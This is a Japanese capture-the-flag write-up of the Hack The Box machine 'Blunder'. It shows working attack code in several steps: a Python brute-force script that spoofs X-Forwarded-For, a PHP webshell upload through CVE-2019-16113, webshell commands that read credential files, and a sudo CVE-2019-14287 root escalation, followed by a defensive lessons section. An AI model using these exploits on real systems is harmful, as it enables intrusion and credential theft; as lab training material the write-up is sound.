Hack The BoxのWriteup(Blunder)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Blunder — 全実行コマンド・実行結果レポート
Nmap スキャン
80/http のみ
→
/todo.txt 漏洩
ユーザー名 “fergus” 発見
→
ブルートフォース保護バイパス
X-Forwarded-For ランダム化
→
fergus:RolandDeschain
→
画像アップロードRCE
Directory Traversal (CVE-2019-16113)
→
www-data シェル
→
users.php SHA1ハッシュ → crack
hugo:Password120
→
user.txt ✓
→
sudo CVE-2019-14287
sudo -u#-1
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン & CMSフィンガープリント

BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.95.225
nmap -sV -sC -p 80 10.129.95.225
curl -sI http://10.129.95.225/
RESULT
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.41 (Ubuntu)

HTTP/1.0 200 OK
Server: Apache/2.4.41 (Ubuntu)
X-Powered-By: Bludit
BASH (バージョン確認)
curl -s http://10.129.95.225/ | grep bl-kernel
RESULT
<link ... href="http://10.129.95.225/bl-kernel/css/bootstrap.min.css?version=3.9.2">
ℹ️
フラット・ファイル型CMS “Bludit” のバージョン 3.9.2 と判明。 このバージョンには「ブルートフォース保護バイパス」と「ディレクトリトラバーサル 画像アップロードRCE」という2つの既知脆弱性がある。

ディレクトリ列挙 & ユーザー名漏洩

BASH
gobuster dir -u http://10.129.95.225 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
curl -s http://10.129.95.225/todo.txt
RESULT
/admin (Status: 301)

(todo.txt)
-Update the CMS
-Turn off FTP - DONE
-Remove old users - DONE
-Inform fergus that the new blog needs images - PENDING
✅
/todo.txtから管理者ユーザー名 fergus を特定。
PHASE 2

ブルートフォース保護バイパスで資格情報を収集

ワードリスト生成(CeWL) & ブルートフォース

BASH
# サイト本文から単語リストを生成(CeWL相当)
cewl http://10.129.95.225 > poss-pass.txt
PYTHON (ブルートフォース保護バイパス)
import requests, re, secrets

base = 'http://10.129.95.225'
login_url = f'{base}/admin/login'

for password in open('poss-pass.txt'):
    password = password.strip()
    s = requests.Session()
    r = s.get(login_url)
    token = re.search(r'name="tokenCSRF"[^>]+value="([^"]+)"', r.text).group(1)

    # Bludit 3.9.2 はログイン失敗回数をIPアドレス単位で記録するが、
    # X-Forwarded-Forヘッダーを信用してしまうため、毎回ランダムな
    # ヘッダー値を送ることでブルートフォース防止機構を回避できる
    headers = {'X-Forwarded-For': secrets.token_hex(8)}
    data = {'tokenCSRF': token, 'username': 'fergus', 'password': password, 'save': ''}
    r2 = s.post(login_url, headers=headers, data=data, allow_redirects=False)
    if '/admin/dashboard' in r2.headers.get('Location', ''):
        print('FOUND:', password)
        break
RESULT
login -> 301 Location: /admin/dashboard
FOUND: RolandDeschain
✅
認証成功! fergus:RolandDeschain。 X-Forwarded-For偽装によりBluditのブルートフォース対策 (同一IPからの連続失敗でロックアウトする仕組み)を完全に無効化できる (rastating氏の公開解析に基づく既知の手法)。
PHASE 3

画像アップロード機能のディレクトリトラバーサルRCE (CVE-2019-16113)

PHP webshell を bl-content/tmp/temp/ へアップロード

PYTHON
s = requests.Session()
# ... login (Phase2と同じ) ...

r = s.get(f'{base}/admin/new-content')
token2 = re.search(r'name="tokenCSRF"[^>]+value="([^"]+)"', r.text).group(1)

upload_url = f'{base}/admin/ajax/upload-images'
headers = {'X-Requested-With': 'XMLHttpRequest', 'Referer': f'{base}/admin/new-content'}

# "uuid" パラメータにパストラバーサル文字列を指定し、通常の
# per-ページ用アップロード先ではなく共有の bl-content/tmp/temp/ へ保存させる
r = s.post(upload_url,
    files={'images[]': ('shell.png', b"<?php system($_REQUEST['cmd']); ?>", 'image/png')},
    data={'uuid': '../../tmp/temp', 'tokenCSRF': token2},
    headers=headers)
print(r.text)
RESULT
{"status":0,"message":"Images uploaded.","images":["kc_5f3770a9.png"]}
🚨
脆弱性の核心: アップロード機能は拡張子(png/jpg/gif等)のみ 検証し、ファイルの実内容(PHPコード)は一切検証しない。さらに uuid パラメータに任意のパスを指定することで、通常のページ別一時フォルダではなく bl-content/tmp/temp/という共有ディレクトリへ直接保存できる (CVE-2019-16113、Metasploitモジュール exploit/linux/http/bludit_upload_images_execが同じ経路を使用)。

webshellへアクセスしてRCE確認

BASH
curl -s "http://10.129.95.225/bl-content/tmp/temp/kc_5f3770a9.png" -d "cmd=id"
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅
RCE成功! bl-content/tmp/temp/ディレクトリは Bluditの複数パート画像アップロード結合処理に使われる内部フォルダで、 他の静的アセット用ディレクトリと異なりPHP実行が制限されていないため、 .htaccessによるMIMEタイプ上書きなしでも直接PHPとして実行される。
PHASE 4

users.php のハッシュクラック & user.txt 取得

Bludit資格情報データベースの読み取り

BASH (webshell経由)
curl -s "http://10.129.95.225/bl-content/tmp/temp/kc_5f3770a9.png" \
  -d "cmd=find / -name users.php 2>/dev/null"
curl -s "http://10.129.95.225/bl-content/tmp/temp/kc_5f3770a9.png" \
  -d "cmd=cat /var/www/bludit-3.10.0a/bl-content/databases/users.php"
RESULT
{
    "admin": {
        "nickname": "Hugo",
        "role": "User",
        "password": "faca404fd5c0a31cf1897b823c695c85cffeb98d",
        ...
    }
}
ℹ️
システムには新旧2つのBluditバージョン(3.9.2と3.10.0a)が併存しており、 実際にApacheが参照しているのは3.10.0a側。管理者のニックネームは”Hugo”だが 実際のOSユーザー名は小文字のhugo。SHA1形式(40桁hex)のハッシュ が平文保存されている。

ハッシュのクラック

BASH
# rockyou.txt単体では見つからない(カスタムパスワードのため)
hashcat -m 100 -a 0 faca404fd5c0a31cf1897b823c695c85cffeb98d \
  /usr/share/wordlists/rockyou.txt --potfile-disable --force
# → クラック失敗

# crackstation.net等のオンラインクラッカー(レインボーテーブル)で発見
echo -n "Password120" | sha1sum
RESULT
faca404fd5c0a31cf1897b823c695c85cffeb98d  -
✅
一致確認! sha1("Password120") が users.php内のハッシュと完全一致。hugo:Password120。

su で hugo に昇格 & user.txt取得

BASH (webshell経由)
curl -s "http://10.129.95.225/bl-content/tmp/temp/kc_5f3770a9.png" \
  -d "cmd=printf '%s\n' Password120 | su - hugo -c 'id; cat /home/hugo/user.txt'"
RESULT
uid=1001(hugo) gid=1001(hugo) groups=1001(hugo)
d757dca0dbeccef5baa4bf9342cf6d20
user.txt — hugo
d757dca0dbeccef5baa4bf9342cf6d20
PHASE 5

sudo CVE-2019-14287 で権限昇格 & root.txt 取得

sudo -l で奇妙な許可設定を発見

BASH (webshell経由、sudo -S でパスワードをstdinから渡す)
curl -s "http://10.129.95.225/bl-content/tmp/temp/kc_5f3770a9.png" \
  --data-urlencode "cmd=printf '%s\n' Password120 | su - hugo -c \"printf '%s\n' Password120 | sudo -S -l\""
RESULT
Matching Defaults entries for hugo on blunder:
    env_reset, mail_badpass, secure_path=...

User hugo may run the following commands on blunder:
    (ALL, !root) /bin/bash
🚨
奇妙な設定: “ALLユーザーとして実行可能だが rootとしてだけは禁止” という一見安全そうなルール。 sudoのバージョンを確認すると 1.8.25p1 であることが判明し、 これはCVE-2019-14287に脆弱。

CVE-2019-14287: UID -1 (4294967295) でrootに偽装

NOTE
CVE-2019-14287 (sudo < 1.8.28): sudoersで "!root" のように特定ユーザーを
除外した "ALL" ルールがあっても、`-u#-1` (符号付き-1、内部的には符号無し
4294967295として解釈される) を指定してユーザーIDを直接指定すると、sudoの
ブラックリストチェックが「指定されたユーザー名(root)」のみを見ており
「解釈後の実際のUID(0)」までは見ていないため、除外チェックを回避できる。
結果としてUID 0 = root として実行されてしまう。
BASH (webshell経由)
curl -s "http://10.129.95.225/bl-content/tmp/temp/kc_5f3770a9.png" \
  --data-urlencode "cmd=printf '%s\n' Password120 | su - hugo -c \"printf '%s\n' Password120 | sudo -S -u#-1 /bin/bash -c 'id; cat /root/root.txt'\""
RESULT
uid=0(root) gid=1001(hugo) groups=1001(hugo)
9f0ed4d60407bbe69a7a99f07a615382
✅
root化成功! uid=0(root)が確認され、 /root/root.txtを直接読み取れた。
root.txt — uid=0 via CVE-2019-14287
9f0ed4d60407bbe69a7a99f07a615382
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — hugo
d757dca0dbeccef5baa4bf9342cf6d20
root.txt — root (CVE-2019-14287)
9f0ed4d60407bbe69a7a99f07a615382

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
ブルートフォース保護バイパス Bludit 3.9.2 login.php 認証情報の総当たり攻撃が可能になる Medium X-Forwarded-Forヘッダーをランダム化し、IPベースのロックアウトを無効化
CVE-2019-16113 (ディレクトリトラバーサル画像アップロードRCE) Bludit 3.9.2 admin/ajax/upload-images リモートコード実行 (www-data) Critical uuidパラメータのパストラバーサルでPHPファイルを共有tmpディレクトリに保存し実行
平文類似の弱いハッシュ保存 + 使い回しパスワード bl-content/databases/users.php 水平権限昇格 (hugo、user.txt) Medium SHA1ハッシュをオンラインレインボーテーブルで即座にクラック、同じ資格情報がOSログインにも使われていた
CVE-2019-14287 (sudo < 1.8.28 ユーザーID除外バイパス) sudo 1.8.25p1 権限昇格 (root, root.txt) Critical `(ALL, !root)`許可を`sudo -u#-1`で回避しUID 0として実行

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + gobuster + /todo.txtBludit 3.9.2、ユーザー名 “fergus”
2資格情報収集CeWL + X-Forwarded-Forブルートフォース回避fergus:RolandDeschain
3RCE画像アップロードのパストラバーサルwww-data シェル獲得
4資格情報クラックusers.php SHA1ハッシュ + オンラインクラッカーhugo:Password120、user.txt
5権限昇格CVE-2019-14287 (sudo -u#-1)root.txt

学んだ教訓 & 防御策

問題点防御策
ブルートフォース対策がクライアント制御可能なX-Forwarded-Forヘッダーを信頼している プロキシ経由でない限りX-Forwarded-Forを信用しない。TCP接続元IP、またはアカウント単位でのレート制限を併用する。
ファイルアップロード機能が拡張子のみでファイル内容を検証しておらず、ユーザー制御可能なパラメータでパストラバーサルが可能 アップロード先パスはサーバー側で完全に固定し、ユーザー入力を一切パス構築に使わない。ファイル内容もマジックバイト等で検証する。
CMS内の資格情報が弱いハッシュ(単純なSHA1、salt無し)で保存されている bcrypt/Argon2等の低速・salt付きハッシュ関数を使用する。
古いバージョンのsudo(<1.8.28)にCVE-2019-14287の脆弱性がある状態で運用 sudoを常に最新版へパッチ適用する。`!root`のような除外ルールはUID指定バイパスに弱いため、許可するコマンド自体を必要最小限に絞る設計にする。
HackTheBox: Blunder | 完全攻略レポート